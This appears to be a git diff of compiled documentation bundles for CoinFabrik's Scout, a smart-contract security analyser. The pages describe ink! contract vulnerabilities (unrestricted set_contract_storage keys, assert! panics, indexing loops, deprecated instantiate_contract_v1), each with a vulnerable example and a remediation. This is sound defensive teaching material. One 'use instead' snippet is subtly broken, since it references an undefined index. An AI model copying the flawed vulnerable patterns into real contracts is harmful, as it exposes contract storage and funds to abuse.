that:"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("inlineCode",{parentName:"li"},"[255,0,0,0]")," stands for allowances mapping."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("inlineCode",{parentName:"li"},"[212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125]")," corresponds, byte by byte, to Alice's address ",(0,r.kt)("inlineCode",{parentName:"li"},"5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY"),"."),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("inlineCode",{parentName:"li"},"[142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72]")," corresponds, byte by byte, to Bob's address ",(0,r.kt)("inlineCode",{parentName:"li"},"5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"),".")),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"Arbitrary users should not have control over keys because it implies writing\nany value of a mapping, lazy variable, or the main struct of the contract\nlocated in position 0 of the storage.\nTo prevent this issue, set access control and proper authorization validation\nfor the ",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function. "),(0,r.kt)("p",null,"Arbitrary users should not have control over keys because it implies writing\nany value of a mapping, lazy variable, or the main struct of the contract\nlocated in position 0 of the storage.\nSet access control and proper authorization validation for the\n",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function."),(0,r.kt)("p",null,"For example, the code below, ensures only the owner can call\n",(0,r.kt)("inlineCode",{parentName:"p"},"misused_set_contract_storage()"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\nfn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()> {\n if self.env().caller() == self.owner {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n } else {\n Err(Error::UserNotOwner)\n }\n}\n")),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/set-contract-storage/set-contract-storage-1/remediated-example/src/lib.rs"},"here"),"."),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storage-layout"},"https://use.ink/datastructures/storage-layout"))))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/3c4d22c1.8b95d2b8.js b/assets/js/3c4d22c1.ac0aab76.js similarity index 62% rename from assets/js/3c4d22c1.8b95d2b8.js rename to assets/js/3c4d22c1.ac0aab76.js index 40f7e4da..e575f1f7 100644 --- a/assets/js/3c4d22c1.8b95d2b8.js +++ b/assets/js/3c4d22c1.ac0aab76.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7063],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>v});var n=r(9496);function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function o(e){for(var t=1;t=0||(i[r]=e[r]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(i[r]=e[r])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):o(o({},t),e)),r},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),p=c(r),d=i,v=p["".concat(s,".").concat(d)]||p[d]||m[d]||a;return r?n.createElement(v,o(o({ref:t},u),{},{components:r})):n.createElement(v,o({ref:t},u))}));function v(e,t){var r=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=r.length,o=new Array(a);o[0]=d;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[p]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>m,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var n=r(2564),i=(r(9496),r(9613));const a={},o="Assert violation",l={unversionedId:"vulnerabilities/assert-violation",id:"vulnerabilities/assert-violation",title:"Assert violation",description:"Description",source:"@site/docs/vulnerabilities/15-assert-violation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/assert-violation",permalink:"/scout/docs/vulnerabilities/assert-violation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/15-assert-violation.md",tags:[],version:"current",sidebarPosition:15,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unrestricted Transfer From",permalink:"/scout/docs/vulnerabilities/unrestricted-transfer-from"},next:{title:"Avoid core::mem::forget usage",permalink:"/scout/docs/vulnerabilities/avoid-core-mem-forget"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},p="wrapper";function m(e){let{components:t,...r}=e;return(0,i.kt)(p,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"assert-violation"},"Assert violation"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhacement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/assert-violation"},(0,i.kt)("inlineCode",{parentName:"a"},"assert-violation"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/assert-violation/assert-violation-1"},(0,i.kt)("inlineCode",{parentName:"a"},"assert-violation-1")))),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro can cause the contract to panic. This is not a good practice."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn assert_if_greater_than_10(&self, value: u128) -> bool {\n assert!(value <= 10, "value should be less than 10");\n true\n }\n')),(0,i.kt)("p",null,"The problem arises from the use of the ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro, if the condition is not met, the contract panics."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/assert-violation/assert-violation-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Avoid the use of ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro. Instead, use a proper error and return it."),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/assert-violation/assert-violation-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#assert-violation"},"Assert violation"))))}m.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7063],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>v});var n=r(9496);function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function o(e){for(var t=1;t=0||(i[r]=e[r]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(i[r]=e[r])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):o(o({},t),e)),r},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),p=c(r),d=i,v=p["".concat(s,".").concat(d)]||p[d]||m[d]||a;return r?n.createElement(v,o(o({ref:t},u),{},{components:r})):n.createElement(v,o({ref:t},u))}));function v(e,t){var r=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=r.length,o=new Array(a);o[0]=d;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[p]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>m,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var n=r(2564),i=(r(9496),r(9613));const a={},o="Assert violation",l={unversionedId:"vulnerabilities/assert-violation",id:"vulnerabilities/assert-violation",title:"Assert violation",description:"Description",source:"@site/docs/vulnerabilities/15-assert-violation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/assert-violation",permalink:"/scout/docs/vulnerabilities/assert-violation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/15-assert-violation.md",tags:[],version:"current",sidebarPosition:15,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unrestricted Transfer From",permalink:"/scout/docs/vulnerabilities/unrestricted-transfer-from"},next:{title:"Avoid core::mem::forget usage",permalink:"/scout/docs/vulnerabilities/avoid-core-mem-forget"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},p="wrapper";function m(e){let{components:t,...r}=e;return(0,i.kt)(p,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"assert-violation"},"Assert violation"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/assert-violation"},(0,i.kt)("inlineCode",{parentName:"a"},"assert-violation"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/assert-violation/assert-violation-1"},(0,i.kt)("inlineCode",{parentName:"a"},"assert-violation-1")))),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro can cause the contract to panic. This is not a good practice."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn assert_if_greater_than_10(&self, value: u128) -> bool {\n assert!(value <= 10, "value should be less than 10");\n true\n }\n')),(0,i.kt)("p",null,"The problem arises from the use of the ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro, if the condition is not met, the contract panics."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/assert-violation/assert-violation-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Avoid the use of ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro. Instead, use a proper error and return it."),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/assert-violation/assert-violation-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#assert-violation"},"Assert violation"))))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/3ee3ec0f.76a6a570.js b/assets/js/3ee3ec0f.fff9c14b.js similarity index 61% rename from assets/js/3ee3ec0f.76a6a570.js rename to assets/js/3ee3ec0f.fff9c14b.js index ac194fda..6efe04de 100644 --- a/assets/js/3ee3ec0f.76a6a570.js +++ b/assets/js/3ee3ec0f.fff9c14b.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7584],{9613:(e,t,n)=>{n.d(t,{Zo:()=>d,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var l=r.createContext({}),c=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},d=function(e){var t=c(e.components);return r.createElement(l.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,o=e.originalType,l=e.parentName,d=s(e,["components","mdxType","originalType","parentName"]),u=c(n),f=i,m=u["".concat(l,".").concat(f)]||u[f]||p[f]||o;return n?r.createElement(m,a(a({ref:t},d),{},{components:n})):r.createElement(m,a({ref:t},d))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var o=n.length,a=new Array(o);a[0]=f;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[u]="string"==typeof e?e:i,a[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>a,default:()=>p,frontMatter:()=>o,metadata:()=>s,toc:()=>c});var r=n(2564),i=(n(9496),n(9613));const o={},a="Iterators over indexing",s={unversionedId:"detectors/iterators-over-indexing",id:"detectors/iterators-over-indexing",title:"Iterators over indexing",description:"What it does",source:"@site/docs/detectors/19-iterators-over-indexing.md",sourceDirName:"detectors",slug:"/detectors/iterators-over-indexing",permalink:"/scout/docs/detectors/iterators-over-indexing",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/19-iterators-over-indexing.md",tags:[],version:"current",sidebarPosition:19,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected self destruct",permalink:"/scout/docs/detectors/unprotected-self-destruct"},next:{title:"Ink! version",permalink:"/scout/docs/detectors/ink-version"}},l={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],d={toc:c},u="wrapper";function p(e){let{components:t,...n}=e;return(0,i.kt)(u,(0,r.Z)({},d,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"iterators-over-indexing"},"Iterators over indexing"),(0,i.kt)("h3",{id:"what-it-does"},"What it does"),(0,i.kt)("p",null,"It warns if for loop uses indexing instead of iterator. If the indexing goes to ",(0,i.kt)("inlineCode",{parentName:"p"},".len()")," it will not warn."),(0,i.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,i.kt)("p",null,"Accessing a vector by index is slower than using an iterator. Also, if the index is out of bounds, it will panic."),(0,i.kt)("h3",{id:"example"},"Example"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn bad_indexing(&self){\n for i in 0..3 {\n foo(self.value[i]);\n }\n }\n")),(0,i.kt)("p",null,"Use instead:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn iterator(&self) {\n for item in self.value.iter() {\n foo(self.value[i]);\n }\n }\n\n// or if its not iterable (with `in`, `iter` or `to_iter()`)\n\n #[ink(message)]\n pub fn index_to_len(&self){\n for i in 0..self.value.len() {\n foo(self.value[i]);\n }\n")),(0,i.kt)("h3",{id:"implementation"},"Implementation"),(0,i.kt)("p",null,"The detector's implementation can be found at ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/iterators-over-indexing"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7584],{9613:(e,t,n)=>{n.d(t,{Zo:()=>d,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var l=r.createContext({}),c=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},d=function(e){var t=c(e.components);return r.createElement(l.Provider,{value:t},e.children)},p="mdxType",u={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,o=e.originalType,l=e.parentName,d=s(e,["components","mdxType","originalType","parentName"]),p=c(n),f=i,m=p["".concat(l,".").concat(f)]||p[f]||u[f]||o;return n?r.createElement(m,a(a({ref:t},d),{},{components:n})):r.createElement(m,a({ref:t},d))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var o=n.length,a=new Array(o);a[0]=f;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[p]="string"==typeof e?e:i,a[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>a,default:()=>u,frontMatter:()=>o,metadata:()=>s,toc:()=>c});var r=n(2564),i=(n(9496),n(9613));const o={},a="Iterators over indexing",s={unversionedId:"detectors/iterators-over-indexing",id:"detectors/iterators-over-indexing",title:"Iterators over indexing",description:"What it does",source:"@site/docs/detectors/19-iterators-over-indexing.md",sourceDirName:"detectors",slug:"/detectors/iterators-over-indexing",permalink:"/scout/docs/detectors/iterators-over-indexing",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/19-iterators-over-indexing.md",tags:[],version:"current",sidebarPosition:19,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected self destruct",permalink:"/scout/docs/detectors/unprotected-self-destruct"},next:{title:"Ink! version",permalink:"/scout/docs/detectors/ink-version"}},l={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],d={toc:c},p="wrapper";function u(e){let{components:t,...n}=e;return(0,i.kt)(p,(0,r.Z)({},d,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"iterators-over-indexing"},"Iterators over indexing"),(0,i.kt)("h3",{id:"what-it-does"},"What it does"),(0,i.kt)("p",null,"It warns if a ",(0,i.kt)("inlineCode",{parentName:"p"},"for")," loop uses indexing instead of an iterator. If the indexing goes to ",(0,i.kt)("inlineCode",{parentName:"p"},".len()")," it will not warn."),(0,i.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,i.kt)("p",null,"Accessing a vector by index is slower than using an iterator. Also, if the index is out of bounds, it will panic."),(0,i.kt)("h3",{id:"example"},"Example"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn bad_indexing(&self){\n for i in 0..3 {\n foo(self.value[i]);\n }\n }\n")),(0,i.kt)("p",null,"Use instead:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn iterator(&self) {\n for item in self.value.iter() {\n foo(self.value[i]);\n }\n }\n\n// or if its not iterable (with `in`, `iter` or `to_iter()`)\n\n #[ink(message)]\n pub fn index_to_len(&self){\n for i in 0..self.value.len() {\n foo(self.value[i]);\n }\n")),(0,i.kt)("h3",{id:"implementation"},"Implementation"),(0,i.kt)("p",null,"The detector's implementation can be found at ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/iterators-over-indexing"},"this link"),"."))}u.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/428dabee.1fb342dd.js b/assets/js/428dabee.1fb342dd.js new file mode 100644 index 00000000..32e1d4a8 --- /dev/null +++ b/assets/js/428dabee.1fb342dd.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4667],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),l=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=l(e.components);return r.createElement(c.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=l(n),m=a,f=p["".concat(c,".").concat(m)]||p[m]||d[m]||i;return n?r.createElement(f,o(o({ref:t},u),{},{components:n})):r.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=m;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[p]="string"==typeof e?e:a,o[1]=s;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>s,toc:()=>l});var r=n(2564),a=(n(9496),n(9613));const i={},o="Don't use instantiate_contract_v1",s={unversionedId:"vulnerabilities/dont-use-instantiate-contract-v1",id:"vulnerabilities/dont-use-instantiate-contract-v1",title:"Don't use instantiate_contract_v1",description:"Description",source:"@site/docs/vulnerabilities/33-dont-use-instantiate-contract-v1.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dont-use-instantiate-contract-v1",permalink:"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/33-dont-use-instantiate-contract-v1.md",tags:[],version:"current",sidebarPosition:33,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Don't use invoke_contract_v1",permalink:"/scout/docs/vulnerabilities/dont-use-invoke-contract-v1"},next:{title:"Detectors",permalink:"/scout/docs/detectors/"}},c={},l=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:l},p="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"dont-use-instantiate_contract_v1"},"Don't use instantiate_contract_v1"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Best Practices")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors"},(0,a.kt)("inlineCode",{parentName:"a"},"dont-use-instantiate-contract-v1"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases"},(0,a.kt)("inlineCode",{parentName:"a"},"dont-use-instantiate-contract-v1")))),(0,a.kt)("p",null,"Avoid using ",(0,a.kt)("inlineCode",{parentName:"p"},"instantiate_contract_v1")," as it is a low level way to evaluate another smart contract. If needed, use ",(0,a.kt)("inlineCode",{parentName:"p"},"instantiate_contract")," instead. Also, use methods on a ",(0,a.kt)("inlineCode",{parentName:"p"},"ContractRef")," or the ",(0,a.kt)("inlineCode",{parentName:"p"},"CreateBuilder")," through ",(0,a.kt)("inlineCode",{parentName:"p"},"build_create")," if possible."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' impl MyContract {\n #[ink(constructor)]\n pub fn new() -> Self {\n Self {}\n }\n\n #[ink(message)]\n pub fn instantiate_contract(&self) -> MyContractRef {\n let create_params = build_create::()\n .instantiate_v1()\n .code_hash(Hash::from([0x42; 32]))\n .gas_limit(500_000_000)\n .endowment(25)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("new")))\n .push_arg(42)\n .push_arg(true)\n .push_arg(&[0x10u8; 32]),\n )\n .salt_bytes(&[0xCA, 0xFE, 0xBA, 0xBE])\n .returns::()\n .params();\n self.env()\n .instantiate_contract_v1(&create_params)\n .unwrap_or_else(|error| {\n panic!(\n "Received an error from the Contracts pallet while instantiating: {:?}",\n error\n )\n })\n .unwrap_or_else(|error| {\n panic!("Received a `LangError` while instatiating: {:?}", error)\n })\n }\n }\n')),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' impl MyContract {\n #[ink(constructor)]\n pub fn new() -> Self {\n Self {}\n }\n\n #[ink(message)]\n pub fn instantiate_contract(&self) -> MyContractRef {\n let create_params = build_create::()\n .code_hash(Hash::from([0x42; 32]))\n .ref_time_limit(500_000_000)\n .proof_size_limit(100_000)\n .storage_deposit_limit(500_000_000_000)\n .endowment(25)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("new")))\n .push_arg(42)\n .push_arg(true)\n .push_arg(&[0x10u8; 32]),\n )\n .salt_bytes(&[0xCA, 0xFE, 0xBA, 0xBE])\n .returns::()\n .params();\n self.env()\n .instantiate_contract(&create_params)\n .unwrap_or_else(|error| {\n panic!(\n "Received an error from the Contracts pallet while instantiating: {:?}",\n error\n )\n })\n .unwrap_or_else(|error| {\n panic!("Received a `LangError` while instatiating: {:?}", error)\n })\n }\n 